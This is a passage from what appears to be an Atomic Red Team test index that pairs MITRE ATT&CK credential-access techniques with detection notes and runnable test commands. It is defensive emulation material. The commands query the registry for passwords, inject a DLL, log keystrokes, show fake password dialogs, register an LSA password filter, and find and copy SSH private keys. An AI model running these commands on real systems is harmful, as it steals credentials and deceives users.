phase_name: credential-access
external_references:
- external_id: T1214
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1214
- source_name: Pentestlab Stored Credentials
description: netbiosX. (2017, April 19). Stored Credentials. Retrieved April
6, 2018.
url: https://pentestlab.blog/2017/04/19/stored-credentials/
modified: '2019-07-17T16:02:42.791Z'
identifier: T1214
atomic_tests:
- name: Enumeration for Credentials in Registry
description: 'Queries to enumerate for credentials in the Registry.
'
supported_platforms:
- windows
executor:
name: command_prompt
elevation_required: false
command: |
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
T1179:
technique:
x_mitre_data_sources:
- API monitoring
- Binary file metadata
- DLL monitoring
- Loaded DLLs
- Process monitoring
- Windows event logs
x_mitre_permissions_required:
- Administrator
- SYSTEM
name: Hooking
description: "Windows processes often leverage application programming interface
(API) functions to perform tasks that require reusable system resources. Windows
API functions are typically stored in dynamic-link libraries (DLLs) as exported
functions. \n\nHooking involves redirecting calls to these functions and can
be implemented via:\n\n* **Hooks procedures**, which intercept and execute
designated code in response to events such as messages, keystrokes, and mouse
inputs. (Citation: Microsoft Hook Overview) (Citation: Endgame Process Injection
July 2017)\n* **Import address table (IAT) hooking**, which use modifications
to a process’s IAT, where pointers to imported API functions are stored. (Citation:
Endgame Process Injection July 2017) (Citation: Adlice Software IAT Hooks
Oct 2014) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n* **Inline hooking**,
which overwrites the first bytes in an API function to redirect code flow.
(Citation: Endgame Process Injection July 2017) (Citation: HighTech Bridge
Inline Hooking Sept 2011) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n\nSimilar
to [Process Injection](https://attack.mitre.org/techniques/T1055), adversaries
may use hooking to load and execute malicious code within the context of another
process, masking the execution while also allowing access to the process's
memory and possibly elevated privileges. Installing hooking mechanisms may
also provide Persistence via continuous invocation when the functions are
called through normal use.\n\nMalicious hooking mechanisms may also capture
API calls that include parameters that reveal user authentication credentials
for Credential Access. (Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept
2017)\n\nHooking is commonly utilized by [Rootkit](https://attack.mitre.org/techniques/T1014)s
to conceal files, processes, Registry keys, and other objects in order to
hide malware and associated behaviors. (Citation: Symantec Windows Rootkits)"
id: attack-pattern--66f73398-8394-4711-85e5-34c8540b22a5
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: |-
Monitor for calls to the SetWindowsHookEx and SetWinEventHook functions, which install a hook procedure. (Citation: Microsoft Hook Overview) (Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools (Citation: Volatility Detecting Hooks Sept 2012) (Citation: PreKageo Winhook Jul 2011) (Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures. (Citation: Zairon Hooking Dec 2006) (Citation: EyeofRa Detecting Hooking June 2017)
Rootkits detectors (Citation: GMER Rootkits) can also be used to monitor for various flavors of hooking activity.
Verify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes (Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions. (Citation: StackExchange Hooks Jul 2012) (Citation: Adlice Software IAT Hooks Oct 2014)
Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
created: '2018-01-16T16:13:52.465Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: persistence
- kill_chain_name: mitre-attack
phase_name: privilege-escalation
- kill_chain_name: mitre-attack
phase_name: credential-access
external_references:
- external_id: T1179
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1179
- source_name: Microsoft Hook Overview
description: Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017.
url: https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx
- source_name: Endgame Process Injection July 2017
description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
A Technical Survey Of Common And Trending Process Injection Techniques.
Retrieved December 7, 2017.'
url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
- source_name: Adlice Software IAT Hooks Oct 2014
description: 'Tigzy. (2014, October 15). Userland Rootkits: Part 1, IAT hooks.
Retrieved December 12, 2017.'
url: https://www.adlice.com/userland-rootkits-part-1-iat-hooks/
- source_name: MWRInfoSecurity Dynamic Hooking 2015
description: 'Hillman, M. (2015, August 8). Dynamic Hooking Techniques: User
Mode. Retrieved December 20, 2017.'
url: https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/
- source_name: HighTech Bridge Inline Hooking Sept 2011
description: Mariani, B. (2011, September 6). Inline Hooking in Windows. Retrieved
December 12, 2017.
url: https://www.exploit-db.com/docs/17802.pdf
- source_name: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017
description: Microsoft. (2017, September 15). TrojanSpy:Win32/Ursnif.gen!I.
Retrieved December 18, 2017.
- source_name: Symantec Windows Rootkits
description: Symantec. (n.d.). Windows Rootkit Overview. Retrieved December
21, 2017.
url: https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf
- source_name: Volatility Detecting Hooks Sept 2012
description: Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware
Hooks in the Windows GUI Subsystem. Retrieved December 12, 2017.
url: https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html
- source_name: PreKageo Winhook Jul 2011
description: Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017.
url: https://github.com/prekageo/winhook
- source_name: Jay GetHooks Sept 2011
description: Satiro, J. (2011, September 14). GetHooks. Retrieved December
12, 2017.
url: https://github.com/jay/gethooks
- source_name: Zairon Hooking Dec 2006
description: Felici, M. (2006, December 6). Any application-defined hook procedure
on my machine?. Retrieved December 12, 2017.
url: https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/
- source_name: EyeofRa Detecting Hooking June 2017
description: 'Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense
against user-land. Retrieved December 12, 2017.'
url: https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/
- source_name: GMER Rootkits
description: GMER. (n.d.). GMER. Retrieved December 12, 2017.
url: http://www.gmer.net/
- source_name: Microsoft Process Snapshot
description: Microsoft. (n.d.). Taking a Snapshot and Viewing Processes. Retrieved
December 12, 2017.
url: https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx
- source_name: StackExchange Hooks Jul 2012
description: Stack Exchange - Security. (2012, July 31). What are the methods
to find hooked functions and APIs?. Retrieved December 12, 2017.
url: https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis
modified: '2019-04-03T15:02:18.662Z'
identifier: T1179
atomic_tests:
- name: Hook PowerShell TLS Encrypt/Decrypt Messages
description: 'Hooks functions in PowerShell to read TLS Communications
'
supported_platforms:
- windows
input_arguments:
file_name:
description: Dll To Inject
type: Path
default: C:\AtomicRedTeam\atomics\T1179\bin\T1179x64.dll
server_name:
description: TLS Server To Test Get Request
type: Url
default: https://www.example.com
executor:
name: powershell
elevation_required: true
command: |
mavinject $pid /INJECTRUNNING #{file_name}
curl #{server_name}
T1056:
technique:
x_mitre_data_sources:
- Windows Registry
- Kernel drivers
- Process monitoring
- API monitoring
x_mitre_permissions_required:
- Administrator
- SYSTEM
name: Input Capture
description: |-
Adversaries can use methods of capturing user input for obtaining credentials for [Valid Accounts](https://attack.mitre.org/techniques/T1078) and information Collection that include keylogging and user input field interception.
Keylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes, (Citation: Adventures of a Keystroke) but other methods exist to target information for specific purposes, such as performing a UAC prompt or wrapping the Windows default credential provider. (Citation: Wrightson 2012)
Keylogging is likely to be used to acquire credentials for new access opportunities when [Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to remain passive on a system for a period of time before an opportunity arises.
Adversaries may also install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through [External Remote Services](https://attack.mitre.org/techniques/T1133) and [Valid Accounts](https://attack.mitre.org/techniques/T1078) or as part of the initial compromise by exploitation of the externally facing web service. (Citation: Volexity Virtual Private Keylogging)
id: attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2
x_mitre_platforms:
- Linux
- macOS
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: |-
Keyloggers may take many forms, possibly involving modification to the Registry and installation of a driver, setting a hook, or polling to intercept keystrokes. Commonly used API calls include SetWindowsHook, GetKeyState, and GetAsyncKeyState. (Citation: Adventures of a Keystroke) Monitor the Registry and file system for such changes and detect driver installs, as well as looking for common keylogging API calls. API calls alone are not an indicator of keylogging, but may provide behavioral data that is useful when combined with other information such as new files written to disk and unusual processes.
Monitor the Registry for the addition of a Custom Credential Provider. (Citation: Wrightson 2012) Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in use by adversaries may help to catch the result of user input interception if new techniques are used.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- John Lambert, Microsoft Threat Intelligence Center
created: '2017-05-31T21:30:48.323Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: collection
- kill_chain_name: mitre-attack
phase_name: credential-access
external_references:
- external_id: T1056
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1056
- source_name: capec
external_id: CAPEC-568
url: https://capec.mitre.org/data/definitions/568.html
- source_name: Adventures of a Keystroke
description: 'Tinaztepe, E. (n.d.). The Adventures of a Keystroke: An in-depth
look into keyloggers on Windows. Retrieved April 27, 2016.'
url: http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf
- source_name: Wrightson 2012
description: Wrightson, T. (2012, January 2). CAPTURING WINDOWS 7 CREDENTIALS
AT LOGON USING CUSTOM CREDENTIAL PROVIDER. Retrieved November 12, 2014.
url: http://blog.leetsys.com/2012/01/02/capturing-windows-7-credentials-at-logon-using-custom-credential-provider/
- source_name: Volexity Virtual Private Keylogging
description: 'Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco
Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.'
url: https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/
modified: '2019-06-18T13:33:08.842Z'
identifier: T1056
atomic_tests:
- name: Input Capture
description: |
Utilize PowerShell and external resource to capture keystrokes
[Payload](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1056/Get-Keystrokes.ps1)
Provided by [PowerSploit](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-Keystrokes.ps1)
supported_platforms:
- windows
input_arguments:
filepath:
description: Name of the local file, include path.
type: Path
default: c:\key.log
executor:
name: powershell
command: ".\\Get-Keystrokes.ps1 -LogPath #{filepath}\n"
T1141:
technique:
x_mitre_data_sources:
- Process monitoring
- Process command-line parameters
- User interface
- PowerShell logs
x_mitre_permissions_required:
- User
name: Input Prompt
description: |-
When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1088)).
Adversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1155)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware) and [PowerShell](https://attack.mitre.org/techniques/T1086)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015).
id: attack-pattern--91ce1ede-107f-4d8b-bf4c-735e8789c94b
x_mitre_platforms:
- macOS
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '2.0'
type: attack-pattern
x_mitre_detection: |-
Monitor process execution for unusual programs as well as malicious instances of [Scripting](https://attack.mitre.org/techniques/T1064) that could be used to prompt users for credentials.
Inspect and scrutinize input prompts for indicators of illegitimacy, such as non-traditional banners, text, timing, and/or sources.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Matthew Molyett, @s1air
created: '2017-12-14T16:46:06.044Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: credential-access
external_references:
- external_id: T1141
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1141
- source_name: capec
external_id: CAPEC-569
url: https://capec.mitre.org/data/definitions/569.html
- source_name: OSX Malware Exploits MacKeeper
description: Sergei Shevchenko. (2015, June 4). New Mac OS Malware Exploits
Mackeeper. Retrieved July 3, 2017.
url: https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html
- description: Foss, G. (2014, October 3). Do You Trust Your Computer?. Retrieved
December 17, 2018.
source_name: LogRhythm Do You Trust Oct 2014
url: https://logrhythm.com/blog/do-you-trust-your-computer/
- source_name: OSX Keydnap malware
description: Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware
is hungry for credentials. Retrieved July 3, 2017.
url: https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/
- description: 'Nelson, M. (2015, January 21). Phishing for Credentials: If
you want it, just ask!. Retrieved December 17, 2018.'
source_name: Enigma Phishing for Credentials Jan 2015
url: https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/
modified: '2019-06-25T14:06:02.686Z'
identifier: T1141
atomic_tests:
- name: AppleScript - Prompt User for Password
description: |
Prompt User for Password (Local Phishing)
Reference: http://fuzzynop.blogspot.com/2014/10/osascript-for-local-phishing.html
supported_platforms:
- macos
executor:
name: sh
command: 'osascript -e ''tell app "System Preferences" to activate'' -e ''tell
app "System Preferences" to activate'' -e ''tell app "System Preferences"
to display dialog "Software Update requires that you type your password
to apply changes." & return & return default answer "" with icon 1 with
hidden answer with title "Software Update"''
'
- name: PowerShell - Prompt User for Password
description: |
Prompt User for Password (Local Phishing) as seen in Stitch RAT.
Reference: https://github.com/nathanlopez/Stitch/blob/master/PyLib/askpass.py
supported_platforms:
- windows
executor:
name: command_prompt
elevation_required: false
command: powershell.exe -command {$cred = $host.UI.PromptForCredential('Windows
Security Update', '',[Environment]::UserName, [Environment]::UserDomainName);
echo $cred.GetNetworkCredential().Password;}
T1142:
technique:
x_mitre_data_sources:
- System calls
- Process monitoring
x_mitre_permissions_required:
- Administrator
name: Keychain
description: |-
Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in ~/Library/Keychains/,/Library/Keychains/, and /Network/Library/Keychains/. (Citation: Wikipedia keychain) The security command-line utility, which is built into macOS by default, provides a useful way to manage these credentials.
To manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault. (Citation: External to DA, the OS X Way) By default, the passphrase for the keychain is the user’s logon credentials.
id: attack-pattern--9e09ddb2-1746-4448-9cad-7f8b41777d6d
x_mitre_platforms:
- macOS
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: Unlocking the keychain and using passwords from it is a very
common process, so there is likely to be a lot of noise in any detection technique.
Monitoring of system calls to the keychain can help determine if there is
a suspicious process trying to access it.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
created: '2017-12-14T16:46:06.044Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: credential-access
external_references:
- external_id: T1142
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1142
- source_name: Wikipedia keychain
description: Wikipedia. (n.d.). Keychain (software). Retrieved July 5, 2017.
url: https://en.wikipedia.org/wiki/Keychain_(software)
- source_name: External to DA, the OS X Way
description: Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to
DA, the OS X Way. Retrieved July 3, 2017.
url: http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way
modified: '2019-07-18T15:25:08.539Z'
identifier: T1142
atomic_tests:
- name: Keychain
description: |
### Keychain Files
~/Library/Keychains/
/Library/Keychains/
/Network/Library/Keychains/
[Security Reference](https://developer.apple.com/legacy/library/documentation/Darwin/Reference/ManPages/man1/security.1.html)
[Keychain dumper](https://github.com/juuso/keychaindump)
supported_platforms:
- macos
executor:
name: sh
command: |
security -h
security find-certificate -a -p > allcerts.pem
security import /tmp/certs.pem -k
T1040:
technique:
x_mitre_data_sources:
- Network device logs
- Host network interface
- Netflow/Enclave netflow
- Process monitoring
x_mitre_permissions_required:
- Administrator
- SYSTEM
name: Network Sniffing
description: |-
Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.
Data captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning and Relay](https://attack.mitre.org/techniques/T1171), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.
Network sniffing may also reveal configuration details, such as running services, version numbers, and other network characteristics (ex: IP addressing, hostnames, VLAN IDs) necessary for follow-on Lateral Movement and/or Defense Evasion activities.
id: attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529
x_mitre_platforms:
- Linux
- macOS
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
x_mitre_system_requirements:
- Network interface access and packet capture driver
type: attack-pattern
x_mitre_detection: Detecting the events leading up to sniffing network traffic
may be the best method of detection. From the host level, an adversary would
likely need to perform a man-in-the-middle attack against other devices on
a wired network in order to capture traffic that was not to or from the current
compromised system. This change in the flow of information is detectable at
the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts.
Detecting compromised network devices is a bit more challenging. Auditing
administrator logins, configuration changes, and device images is required
to detect malicious changes.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
created: '2017-05-31T21:30:41.399Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: credential-access
- kill_chain_name: mitre-attack
phase_name: discovery
external_references:
- external_id: T1040
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1040
- source_name: capec
external_id: CAPEC-158
url: https://capec.mitre.org/data/definitions/158.html
modified: '2019-07-18T16:42:21.548Z'
identifier: T1040
atomic_tests:
- name: Packet Capture Linux
description: 'Perform a PCAP. Wireshark will be required for tshark. TCPdump
may already be installed.
'
supported_platforms:
- linux
input_arguments:
interface:
description: Specify interface to perform PCAP on.
type: String
default: ens33
executor:
name: bash
elevation_required: true
command: |
tcpdump -c 5 -nnni #{interface}
tshark -c 5 -i #{interface}
- name: Packet Capture MacOS
description: 'Perform a PCAP on MacOS. This will require Wireshark/tshark to
be installed. TCPdump may already be installed.
'
supported_platforms:
- macos
input_arguments:
interface:
description: Specify interface to perform PCAP on.
type: String
default: en0A
executor:
name: bash
elevation_required: true
command: |
tcpdump -c 5 -nnni #{interface}
tshark -c 5 -i #{interface}
- name: Packet Capture Windows Command Prompt
description: |
Perform a packet capture using the windows command prompt. This will require a host that has Wireshark/Tshark
installed, along with WinPCAP. Windump will require the windump executable.
supported_platforms:
- windows
input_arguments:
interface:
description: Specify interface to perform PCAP on.
type: String
default: Ethernet0
executor:
name: command_prompt
elevation_required: true
command: |
c:\Program Files\Wireshark\tshark.exe -i #{interface} -c 5
c:\windump.exe
- name: Packet Capture PowerShell
description: |
Perform a packet capture using PowerShell with windump or tshark. This will require a host that has Wireshark/Tshark
installed, along with WinPCAP. Windump will require the windump executable.
supported_platforms:
- windows
input_arguments:
interface:
description: Specify interface to perform PCAP on.
type: String
default: Ethernet0
executor:
name: powershell
elevation_required: true
command: |
c:\Program Files\Wireshark\tshark.exe -i #{interface} -c 5
c:\windump.exe
T1174:
technique:
x_mitre_permissions_required:
- Administrator
- SYSTEM
x_mitre_data_sources:
- DLL monitoring
- Process monitoring
- Windows Registry
name: Password Filter DLL
description: |-
Windows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as dynamic link libraries (DLLs) containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts.
Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation.
Adversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made. (Citation: Carnal Ownage Password Filters Sept 2013)
id: attack-pattern--b8c5c9dd-a662-479d-9428-ae745872537c
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: |-
Monitor for change notifications to and from unfamiliar password filters.
Newly installed password filters will not take effect until after a system reboot.
Password filters will show up as an autorun and loaded DLL in lsass.exe. (Citation: Clymb3r Function Hook Passwords Sept 2013)
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Vincent Le Toux
created: '2018-01-16T16:13:52.465Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: credential-access
external_references:
- external_id: T1174
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1174
- source_name: Carnal Ownage Password Filters Sept 2013
description: Fuller, R. (2013, September 11). Stealing passwords every time
they change. Retrieved November 21, 2017.
url: http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html
- source_name: Clymb3r Function Hook Passwords Sept 2013
description: Bialek, J. (2013, September 15). Intercepting Password Changes
With Function Hooking. Retrieved November 21, 2017.
url: https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/
modified: '2019-07-18T17:02:26.038Z'
identifier: T1174
atomic_tests:
- name: Install and Register Password Filter DLL
description: 'Uses PowerShell to install and register a password filter DLL.
Requires a reboot and administrative privileges.
'
supported_platforms:
- windows
input_arguments:
input_dll:
description: Path to DLL to be installed and registered
type: Path
default: C:\AtomicRedTeam\atomics\T1174\src\AtomicPasswordFilter.dll
executor:
name: powershell
elevation_required: true
command: |-
$passwordFilterName = (Copy-Item "#{input_dll}" -Destination "C:\Windows\System32" -PassThru).basename
$lsaKey = Get-Item "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\"
$notificationPackagesValues = $lsaKey.GetValue("Notification Packages")
$notificationPackagesValues += $passwordFilterName
Set-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\" "Notification Packages" $notificationPackagesValues
Restart-Computer -Confirm
T1145:
technique:
x_mitre_data_sources:
- File monitoring
x_mitre_permissions_required:
- User
name: Private Keys
description: |-
Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures. (Citation: Wikipedia Public Key Crypto)
Adversaries may gather private keys from compromised systems for use in authenticating to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email. Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. Adversaries may also look in common key directories, such as ~/.ssh for SSH keys on * nix-based systems or C:\Users\(username)\.ssh\ on Windows.
Private keys should require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line.
Adversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates. (Citation: Kaspersky Careto) (Citation: Palo Alto Prince of Persia)
id: attack-pattern--56ff457d-5e39-492b-974c-dfd2b8603ffe
x_mitre_platforms:
- Linux
- macOS
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: Monitor access to files and directories related to cryptographic
keys and certificates as a means for potentially detecting access patterns
that may indicate collection and exfiltration activity. Collect authentication
logs and look for potentially abnormal activity that may indicate improper
use of keys or certificates for remote authentication.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Itzik Kotler, SafeBreach
created: '2017-12-14T16:46:06.044Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: credential-access
external_references:
- external_id: T1145
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1145
- source_name: Wikipedia Public Key Crypto
description: Wikipedia. (2017, June 29). Public-key cryptography. Retrieved
July 5, 2017.
url: https://en.wikipedia.org/wiki/Public-key_cryptography
- source_name: Kaspersky Careto
description: Kaspersky Labs. (2014, February 11). Unveiling “Careto” - The
Masked APT. Retrieved July 5, 2017.
url: https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask_v1.0.pdf
- source_name: Palo Alto Prince of Persia
description: Bar, T., Conant, S., Efraim, L. (2016, June 28). Prince of Persia
– Game Over. Retrieved July 5, 2017.
url: https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/
modified: '2019-07-18T17:21:52.708Z'
identifier: T1145
atomic_tests:
- name: Private Keys
description: |
Find private keys on the Windows file system.
File extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, pfx, .cer, .p7b, .asc
supported_platforms:
- windows
executor:
name: command_prompt
elevation_required: true
command: |
echo "ATOMICREDTEAM" > %windir%\cert.key
dir c:\ /b /s .key | findstr /e .key
- name: Discover Private SSH Keys
description: 'Discover private SSH keys on a macOS or Linux system.
'
supported_platforms:
- macos
- linux
input_arguments:
output_file:
description: Output file containing locations of SSH key files
type: path
default: "/tmp/keyfile_locations.txt"
executor:
name: sh
command: |
find / -name id_rsa >> #{output_file}
find / -name id_dsa >> #{output_file}
- name: Copy Private SSH Keys with CP
description: 'Copy private SSH keys on a Linux system to a staging folder using
the `cp` command.
'
supported_platforms:
- linux
input_arguments:
output_folder:
description: Output folder containing copies of SSH private key files
type: path
default: "/tmp/art-staging"
executor:
name: sh
command: |
mkdir #{output_folder}
find / -name id_rsa -exec cp --parents {} #{output_folder} \;
find / -name id_dsa -exec cp --parents {} #{output_folder} \;
- name: Copy Private SSH Keys with rsync
description: 'Copy private SSH keys on a Linux or macOS system to a staging
folder using the `rsync` command.
'
supported_platforms:
- macos
- linux
input_arguments:
output_folder:
description: Output folder containing copies of SSH private key files
type: path
default: "/tmp/art-staging"
executor:
name: sh
command: |
mkdir #{output_folder}
find / -name id_rsa -exec rsync -R {} #{output_folder} \;
find / -name id_dsa -exec rsync -R {} #{output_folder} \;
execution:
T1155:
technique:
x_mitre_data_sources:
- API monitoring
- System calls
- Process monitoring
- Process command-line parameters
x_mitre_permissions_required:
- User
name: AppleScript
description: "macOS and OS X applications send AppleEvent messages to each other
for interprocess communications (IPC). These messages can be easily scripted
with AppleScript for local or remote IPC. Osascript executes AppleScript and
any other Open Scripting Architecture (OSA) language scripts. A list of OSA
languages installed on a system can be found by using the osalang
program.\nAppleEvent messages can be sent independently or as part of a script.
These events can locate open windows, send keystrokes, and interact with almost
any open application locally or remotely. \n\nAdversaries can use this to
interact with open SSH connection, move to remote machines, and even present
users with fake dialog boxes. These events cannot start applications remotely
(they can start them locally though), but can interact with applications if
they're already running remotely. Since this is a scripting language, it can
be used to launch more common techniques as well such as a reverse shell via
python (Citation: Macro Malware Targets Macs). Scripts can be run from the
command-line via osascript /path/to/script or osascript
-e \"script here\"."
x_mitre_remote_support: true
id: attack-pattern--5ad95aaa-49c1-4784-821d-2e83f47b079b
x_mitre_platforms:
- macOS
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: Monitor for execution of AppleScript through osascript that
may be related to other suspicious behavior occurring on the system.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
created: '2017-12-14T16:46:06.044Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: execution
- kill_chain_name: mitre-attack
phase_name: lateral-movement
external_references:
- external_id: T1155
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1155
- source_name: Macro Malware Targets Macs
description: Yerko Grbic. (2017, February 14). Macro Malware Targets Macs.
Retrieved July 8, 2017.
url: https://securingtomorrow.mcafee.com/mcafee-labs/macro-malware-targets-macs/
modified: '2019-07-16T19:11:33.411Z'
identifier: T1155
atomic_tests:
- name: AppleScript
description: |
Shell Script with AppleScript
reference
https://github.com/EmpireProject/Empire
supported_platforms:
- macos
executor:
name: sh
